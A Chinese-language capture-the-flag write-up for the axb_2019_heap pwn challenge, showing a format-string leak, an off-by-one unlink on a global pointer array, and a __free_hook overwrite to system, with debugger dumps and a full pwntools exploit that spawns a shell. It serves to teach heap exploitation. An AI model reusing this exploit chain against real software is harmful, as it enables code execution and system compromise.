axb_2019_heap详解

关于axb_2019_heap的详解

参考：buuctf axb_2019_heap

程序流程

1. banner：存在格式化字符串漏洞，可以泄漏栈上的信息

2. add：根据idx创建size（大于0x80）大小的内容为content的块

   块指针和块大小存放在一个全局变量note中

3. delete：释放的很干净，没有uaf

4. edit：存在off by one

   get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));

   if ( a2 + 1 <= (unsigned int)v3 )v3是以及输入的长度，a2是给定的长度，存在一个字节的溢出

调试

这个程序没有保留调试信息，不能调试，只能一步步看，，，

GDB调试指南

Reading symbols from axb_2019_heap...(no debugging symbols found)...done.

漏洞利用

1. 利用格式化字符串泄露栈上信息

   • __libc_start_main+240 => libc基地址

   • (main) ◂— push rbp => 程序基地址

2. 由于存在全局变量note，故可以利用unlink控制chunk指针

3. 修改__free_hook为system，get shell

详细过程

1.格式化字符串

计算偏移：直接算或者用工具 => 得到偏移为7

执行到printf(&format);

 ► 0x555555554b4e <banner+105>    call   printf@plt <printf@plt>
        format: 0x7fffffffde4c ◂— 'aaaaaaaa'
        vararg: 0x7fffffffb7b0 ◂— 'Hello, our name:'

pwndbg> stack 30
00:0000│ rsp    0x7fffffffde40 ◂— 0x0
01:0008│ rdi-4  0x7fffffffde48 ◂— 0x61616161ffffde60
02:0010│        0x7fffffffde50 ◂— 0x550061616161 /* 'aaaa' */	#输入的数据
03:0018│        0x7fffffffde58 ◂— 0xd23db0a55446d00
04:0020│ rbp    0x7fffffffde60 —▸ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push   r15
05:0028│        0x7fffffffde68 —▸ 0x555555555186 (main+28) ◂— mov    eax, 0
06:0030│        0x7fffffffde70 —▸ 0x7fffffffdf60 ◂— 0x1
07:0038│        0x7fffffffde78 ◂— 0x0
08:0040│        0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push   r15
09:0048│        0x7fffffffde88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax	#可以泄露libc_base
0a:0050│        0x7fffffffde90 ◂— 0x1
0b:0058│        0x7fffffffde98 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe2d3 ◂— '/home/winter/buu/axb_2019_heap'
0c:0060│        0x7fffffffdea0 ◂— 0x1f7ffcca0
0d:0068│        0x7fffffffdea8 —▸ 0x55555555516a (main) ◂— push   rbp	#main起始地址，可以泄露程序基地址

所以__libc_start_main+240的偏移为15，main的偏移为19。

通过计算即可得到libc_base和程序基地址（开启了pie，每次都不一样）

p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))

libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))

2.unlink

首先计算note地址 = 程序基地址 + note偏移 => note = pro_base + 0x0202060

接着申请三个块，0x98大小（方便修改下一个chunk）

• 第一个chunk：构造fake chunk
• 第二个chunk：用于释放，unlink
• 第三个chunk：防止第二个chunk和top chunk合并

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55830d656000
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55830d6560a0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55830d656140
Size: 0xa1

Top chunk | PREV_INUSE
Addr: 0x55830d6561e0
Size: 0x20e21

pwndbg> x/50gx 0x55830d656000
0x55830d656000:	0x0000000000000000	0x00000000000000a1
0x55830d656010:	0x0000000061616161	0x0000000000000000
0x55830d656020:	0x0000000000000000	0x0000000000000000
0x55830d656030:	0x0000000000000000	0x0000000000000000
0x55830d656040:	0x0000000000000000	0x0000000000000000
0x55830d656050:	0x0000000000000000	0x0000000000000000
0x55830d656060:	0x0000000000000000	0x0000000000000000
0x55830d656070:	0x0000000000000000	0x0000000000000000
0x55830d656080:	0x0000000000000000	0x0000000000000000
0x55830d656090:	0x0000000000000000	0x0000000000000000
0x55830d6560a0:	0x0000000000000000	0x00000000000000a1
0x55830d6560b0:	0x0000000062626262	0x0000000000000000
0x55830d6560c0:	0x0000000000000000	0x0000000000000000

pwndbg> x/30gx 0x55830ca49060
0x55830ca49060 <note>:	0x000055830d656010	0x0000000000000098
0x55830ca49070 <note+16>:	0x000055830d6560b0	0x0000000000000098
0x55830ca49080 <note+32>:	0x000055830d656150	0x0000000000000098
0x55830ca49090 <note+48>:	0x0000000000000000	0x0000000000000000

add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')

通过第一个chunk构造，并off by one修改第二个chunk的大小。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e000
Size: 0xa1

Allocated chunk
Addr: 0x55d2cb54e0a0
Size: 0xa0			#修改标志位，表示上一个chunk被释放

Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e140
Size: 0xa1

Top chunk | PREV_INUSE
Addr: 0x55d2cb54e1e0
Size: 0x20e21

pwndbg> x/30gx 0x55d2cb54e000
0x55d2cb54e000:	0x0000000000000000	0x00000000000000a1	#第一个chunk
0x55d2cb54e010:	0x0000000000000000	0x0000000000000090	#fake chunk
0x55d2cb54e020:	0x000055d2cb00d048	0x000055d2cb00d050	#fd、bk
0x55d2cb54e030:	0x6161616161616161	0x6161616161616161
0x55d2cb54e040:	0x6161616161616161	0x6161616161616161
0x55d2cb54e050:	0x6161616161616161	0x6161616161616161
0x55d2cb54e060:	0x6161616161616161	0x6161616161616161
0x55d2cb54e070:	0x6161616161616161	0x6161616161616161
0x55d2cb54e080:	0x6161616161616161	0x6161616161616161
0x55d2cb54e090:	0x6161616161616161	0x6161616161616161
0x55d2cb54e0a0:	0x0000000000000090	0x00000000000000a0	#pre_size = 0x90,size = 0xa0
0x55d2cb54e0b0:	0x0000000062626262	0x0000000000000000
0x55d2cb54e0c0:	0x0000000000000000	0x0000000000000000

note = pro_base + 0x0202060
payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))

释放第二个chunk，造成unlink，target = target - 0x18

#没变化
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55682bfdf000
Size: 0xa1

Allocated chunk
Addr: 0x55682bfdf0a0
Size: 0xa0

Allocated chunk
Addr: 0x55682bfdf140
Size: 0xa0

Top chunk | PREV_INUSE
Addr: 0x55682bfdf1e0
Size: 0x20e21

pwndbg> x/30gx 0x55682bfdf000
0x55682bfdf000:	0x0000000000000000	0x00000000000000a1
0x55682bfdf010:	0x0000000000000000	0x0000000000000131	#合并了，大小为0x90 + 0xa0
0x55682bfdf020:	0x00007fea30ac5b78	0x00007fea30ac5b78
0x55682bfdf030:	0x6161616161616161	0x6161616161616161
0x55682bfdf040:	0x6161616161616161	0x6161616161616161
0x55682bfdf050:	0x6161616161616161	0x6161616161616161
0x55682bfdf060:	0x6161616161616161	0x6161616161616161
0x55682bfdf070:	0x6161616161616161	0x6161616161616161
0x55682bfdf080:	0x6161616161616161	0x6161616161616161
0x55682bfdf090:	0x6161616161616161	0x6161616161616161
0x55682bfdf0a0:	0x0000000000000090	0x00000000000000a0
0x55682bfdf0b0:	0x0000000062626262	0x0000000000000000
0x55682bfdf0c0:	0x0000000000000000	0x0000000000000000

pwndbg> x/30gx 0x55682b44c060
0x55682b44c060 <note>:	0x000055682b44c048	0x0000000000000098#target = target - 0x18
0x55682b44c070 <note+16>:	0x0000000000000000	0x0000000000000000
0x55682b44c080 <note+32>:	0x000055682bfdf150	0x0000000000000098

dele(1)

3.修改__free_hook为system

通过第一个chunk，覆盖第一个chunk的指针指向__free_hook的地址

设置第二个chunk为参数“/bin/sh\x00”，只要让chunk2指向后面的地址，在上面的地址布置上字符串即可。

pwndbg> x/30gx 0x55cbe5291060
0x55cbe5291060 <note>:	0x00007f962216f7a8	0x0000000000000098		#__free_hook地址
0x55cbe5291070 <note+16>:	0x000055cbe5291078	0x0068732f6e69622f	#binsh地址 binsh字符串
0x55cbe5291080 <note+32>:	0x000055cbe5975100	0x0000000000000098
0x55cbe5291090 <note+48>:	0x0000000000000000	0x0000000000000000

pwndbg> x/30gx 0x00007f962216f7a8
0x7f962216f7a8 <__free_hook>:	0x0000000000000000	0x0000000000000000

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)

第一个chunk指向__free_hook，往chunk1填入数据就是往__free_hook填入数据，修改其为system地址。

pwndbg> x/30gx 0x5578fc638060
0x5578fc638060 <note>:	0x00007f909293e7a8	0x0000000000000098
0x5578fc638070 <note+16>:	0x00005578fc638078	0x0068732f6e69622f
0x5578fc638080 <note+32>:	0x00005578fd63e100	0x0000000000000098

pwndbg> x/30gx 0x00007f909293e7a8
0x7f909293e7a8 <__free_hook>:	0x00007f90925bd3a0	

pwndbg> x/30gx 0x00007f90925bd3a0
0x7f90925bd3a0 <__libc_system>:	0xfa86e90b74ff8548	

edit(0,p64(system))

最后，释放第二个chunk即可执行free(2) => system("/bin/sh\x00")

dele(1)

完整exp

from pwn import *

p = process("./axb_2019_heap")
# p=remote("node3.buuoj.cn",28733)
context.log_level = 'debug'
elf = ELF("./axb_2019_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# libc = ELF("./libc-2.23.so")

def cmd(choice):
	p.recvuntil(">> ")
	p.sendline(str(choice))

def add(idx,size,content):
	cmd(1)
	p.recvuntil("to create (0-10):")
	p.sendline(str(idx))
	p.recvuntil("Enter a size:")
	p.sendline(str(size))
	p.recvuntil("Enter the content:")
	p.sendline(content)

def dele(idx):
	cmd(2)
	p.recvuntil("Enter an index:")
	p.sendline(str(idx))

def edit(idx,content):
	cmd(4)
	p.recvuntil("Enter an index:")
	p.sendline(str(idx))
	p.recvuntil("Enter the content: ")
	p.sendline(content)

p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)

main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))

libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))

system = libc_base + libc.sym['system']
note = pro_base + 0x0202060


add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')
print(hex(note))

fd = note - 0x18
bk = note - 0x10

payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))
dele(1)


free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)

edit(0,p64(system))

print(hex(note))
gdb.attach(p)
pause()
dele(1)

p.interactive()

组合拳，题型：fmt + off by one + unlink